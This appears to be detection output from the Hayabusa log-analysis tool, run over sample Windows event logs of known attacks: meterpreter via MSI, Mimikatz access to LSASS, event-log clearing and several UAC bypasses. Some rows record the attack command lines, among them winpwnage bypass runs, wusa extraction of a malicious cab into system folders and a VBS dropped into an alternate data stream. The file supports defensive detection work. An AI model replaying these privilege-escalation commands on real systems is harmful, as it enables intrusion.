07:49:10.198 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\Installer\MSI4FFD.tmp""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:49:10.198 +09:00,IEWIN7,1,medium,Always Install Elevated MSI Spawned Cmd And Powershell,,rules/sigma/process_creation/sysmon_always_install_elevated_msi_spawned_cmd_and_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:52:27.588 +09:00,IEWIN7,1,informational,Process Creation,Command: whoami : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: cmd,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:52:27.588 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:52:27.588 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-02 23:48:53.950 +09:00,IEWIN7,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_3_10_Invoke-Mimikatz_hosted_Github.evtx +2019-05-02 23:50:17.955 +09:00,IEWIN7,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_3_10_Invoke-Mimikatz_hosted_Github.evtx +2019-05-02 23:50:17.955 +09:00,IEWIN7,10,high,Credentials Dumping Tools Accessing LSASS Memory,,rules/sigma/process_access/sysmon_cred_dump_lsass_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_3_10_Invoke-Mimikatz_hosted_Github.evtx +2019-05-02 23:50:17.955 +09:00,IEWIN7,10,high,Accessing WinAPI in PowerShell for Credentials Dumping,,rules/sigma/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_3_10_Invoke-Mimikatz_hosted_Github.evtx +2019-05-03 02:21:42.678 +09:00,SANS-TBT570,1102,high,Security log was cleared,User: student,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privilegedebug-tokenelevate-hashdump.evtx +2019-05-04 00:20:20.711 +09:00,SANS-TBT570,1102,high,Security log was cleared,User: student,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-pwshpayload.evtx +2019-05-04 00:20:27.359 +09:00,SANS-TBT570,4672,informational,Admin Logon,User: tbt570 : LogonID: 0x1861f7,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-pwshpayload.evtx +2019-05-04 00:20:28.308 +09:00,SANS-TBT570,4634,informational,Logoff,User: tbt570 : LogonID: 0x1861f7,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-pwshpayload.evtx +2019-05-08 12:00:11.778 +09:00,DC1.insecurebank.local,1102,high,Security log was cleared,User: administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_security_dcshadow_4742.evtx +2019-05-09 10:59:28.684 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UAC_Bypass_EventVwrBypass.evtx +2019-05-09 10:59:28.950 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UAC_Bypass_EventVwrBypass.evtx +2019-05-09 10:59:29.090 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\eventvwr.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UAC_Bypass_EventVwrBypass.evtx +2019-05-09 10:59:29.090 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UAC_Bypass_EventVwrBypass.evtx +2019-05-09 10:59:29.090 +09:00,IEWIN7,1,critical,UAC Bypass via Event Viewer,,rules/sigma/process_creation/process_creation_sysmon_uac_bypass_eventvwr.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UAC_Bypass_EventVwrBypass.evtx +2019-05-09 11:00:01.794 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\System32\wsqmcons.exe : Path: C:\Windows\System32\wsqmcons.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UAC_Bypass_EventVwrBypass.evtx +2019-05-09 11:07:51.131 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdclt.exe"" /kickoffelev : Path: C:\Windows\System32\sdclt.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UACBypass_SDCLTBypass.evtx +2019-05-09 11:08:00.446 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /c notepad.exe : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ?",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UACBypass_SDCLTBypass.evtx +2019-05-09 11:08:00.446 +09:00,IEWIN7,1,medium,Sdclt Child Processes,,rules/sigma/process_creation/sysmon_sdclt_child_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_13_1_UACBypass_SDCLTBypass.evtx +2019-05-09 11:52:18.844 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\makecab.exe"" C:\Users\IEUser\AppData\Local\Temp\wscript.exe.manifest C:\Users\IEUser\AppData\Local\Temp\uf3huvkczgk.tmp : Path: C:\Windows\System32\makecab.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:18.922 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\uf3huvkczgk.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:18.953 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\uf3huvkczgk.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:18.969 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\uf3huvkczgk.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:19.250 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\uf3huvkczgk.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:21.250 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\makecab.exe"" C:\Windows\System32\wscript.exe C:\Users\IEUser\AppData\Local\Temp\oz5ctxorxp4.tmp : Path: C:\Windows\System32\makecab.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:21.265 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\oz5ctxorxp4.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:21.281 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\oz5ctxorxp4.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:21.297 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\oz5ctxorxp4.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:21.594 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" C:\Users\IEUser\AppData\Local\Temp\oz5ctxorxp4.tmp /extract:C:\Windows /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:23.500 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /C ""echo Dim objShell:Dim oFso:Set oFso = CreateObject(""Scripting.FileSystemObject""):Set objShell = WScript.CreateObject(""WScript.Shell""):command = ""powershell.exe"":objShell.Run command, 0:command = ""C:\Windows\System32\cmd.exe /c """"start /b """""""" cmd /c """"timeout /t 5 >nul&&del C:\Windows\wscript.exe&&del C:\Windows\wscript.exe.manifest"""""""""":objShell.Run command, 0:Set objShell = Nothing > ""C:\Users\IEUser\AppData:tghjx5xz2ky.vbs"""" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 11:52:23.531 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /C ""C:\Windows\wscript.exe ""C:\Users\IEUser\AppData:tghjx5xz2ky.vbs"""" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_15_WScriptBypassUAC.evtx +2019-05-09 12:25:24.896 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdclt.exe"" : Path: C:\Windows\System32\sdclt.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_UACBypass_AppPath_Control.evtx +2019-05-09 12:25:25.067 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /name Microsoft.BackupAndRestoreCenter : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\sdclt.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_UACBypass_AppPath_Control.evtx +2019-05-09 12:25:25.067 +09:00,IEWIN7,1,medium,Sdclt Child Processes,,rules/sigma/process_creation/sysmon_sdclt_child_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_UACBypass_AppPath_Control.evtx +2019-05-10 21:21:57.077 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 7 -p c:\Windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_12_11_perfmonUACBypass.evtx +2019-05-10 21:22:08.465 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""c:\users\ieuser\appdata\local\temp\system32\mmc.exe"" ""c:\users\ieuser\appdata\local\temp\system32\perfmon.msc"" : Path: C:\Users\IEUser\AppData\Local\Temp\system32\mmc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\perfmon.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_12_11_perfmonUACBypass.evtx +2019-05-10 22:32:48.200 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 9 -p c:\Windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_compmgmtlauncherUACBypass.evtx +2019-05-10 22:32:58.549 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""c:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\CompMgmtLauncher.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_compmgmtlauncherUACBypass.evtx +2019-05-10 22:33:29.424 +09:00,IEWIN7,1,informational,Process Creation,"Command: whoami /priv : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: ""c:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_compmgmtlauncherUACBypass.evtx +2019-05-10 22:33:29.424 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_compmgmtlauncherUACBypass.evtx +2019-05-10 22:33:29.424 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_compmgmtlauncherUACBypass.evtx +2019-05-10 22:33:29.424 +09:00,IEWIN7,1,high,Run Whoami Showing Privileges,,rules/sigma/process_creation/win_whoami_priv.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_compmgmtlauncherUACBypass.evtx +2019-05-10 22:49:29.586 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 11 -p c:\Users\IEUser\Desktop\hellox86.dll : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_7_uacbypass_cliconfg.evtx +2019-05-10 22:49:39.930 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\system32 /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 11 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_7_uacbypass_cliconfg.evtx +2019-05-10 22:49:40.164 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\system32 /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 11 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_7_uacbypass_cliconfg.evtx +2019-05-10 22:49:45.133 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cliconfg.exe"" : Path: C:\Windows\System32\cliconfg.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 11 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_7_uacbypass_cliconfg.evtx +2019-05-10 22:49:45.378 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cliconfg.exe"" : Path: C:\Windows\System32\cliconfg.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 11 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_7_uacbypass_cliconfg.evtx +2019-05-11 18:50:08.248 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 12 -p c:\Users\IEUser\Desktop\hellox86.dll : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_mcx2prov_uacbypass.evtx +2019-05-11 18:50:13.494 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\makecab.exe"" c:\users\ieuser\appdata\local\temp\CRYPTBASE.dll c:\users\ieuser\appdata\local\temp\suspicious.cab : Path: C:\Windows\System32\makecab.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 12 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_mcx2prov_uacbypass.evtx +2019-05-11 18:50:18.404 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\ehome /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 12 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_mcx2prov_uacbypass.evtx +2019-05-11 18:50:18.654 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\ehome /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 12 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_mcx2prov_uacbypass.evtx +2019-05-11 18:50:26.779 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\ehome\mcx2prov.exe"" : Path: C:\Windows\ehome\Mcx2Prov.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 12 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_mcx2prov_uacbypass.evtx +2019-05-11 18:50:27.018 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\ehome\mcx2prov.exe"" : Path: C:\Windows\ehome\Mcx2Prov.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 12 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_mcx2prov_uacbypass.evtx +2019-05-12 01:46:10.125 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 13 -p c:\Users\IEUser\Desktop\hellox86.dll : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_migwiz.evtx +2019-05-12 01:46:15.500 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\makecab.exe"" c:\users\ieuser\appdata\local\temp\CRYPTBASE.dll c:\users\ieuser\appdata\local\temp\suspicious.cab : Path: C:\Windows\System32\makecab.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 13 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_migwiz.evtx +2019-05-12 01:46:20.531 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\system32\migwiz /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 13 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_migwiz.evtx +2019-05-12 01:46:20.828 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\system32\migwiz /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 13 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_migwiz.evtx +2019-05-12 01:54:02.071 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 14 -p c:\Users\IEUser\Desktop\hellox86.dll : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_sysprep_uacbypass.evtx +2019-05-12 01:54:07.508 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\makecab.exe"" c:\users\ieuser\appdata\local\temp\CRYPTBASE.dll c:\users\ieuser\appdata\local\temp\suspicious.cab : Path: C:\Windows\System32\makecab.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 14 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_sysprep_uacbypass.evtx +2019-05-12 01:54:12.493 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\system32\sysprep /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 14 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_sysprep_uacbypass.evtx +2019-05-12 01:54:12.821 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\system32\sysprep /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 14 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_sysprep_uacbypass.evtx +2019-05-12 02:10:06.342 +09:00,IEWIN7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/security_4624_4673_token_manip.evtx +2019-05-12 02:10:10.889 +09:00,IEWIN7,4624,informational,Logon Type 9 - NewCredentials,User: IEUser : Workstation: : IP Address: ::1 : Port: 0 : LogonID: 0x1bbdce : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-9-NewInteractive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/security_4624_4673_token_manip.evtx +2019-05-12 02:10:10.889 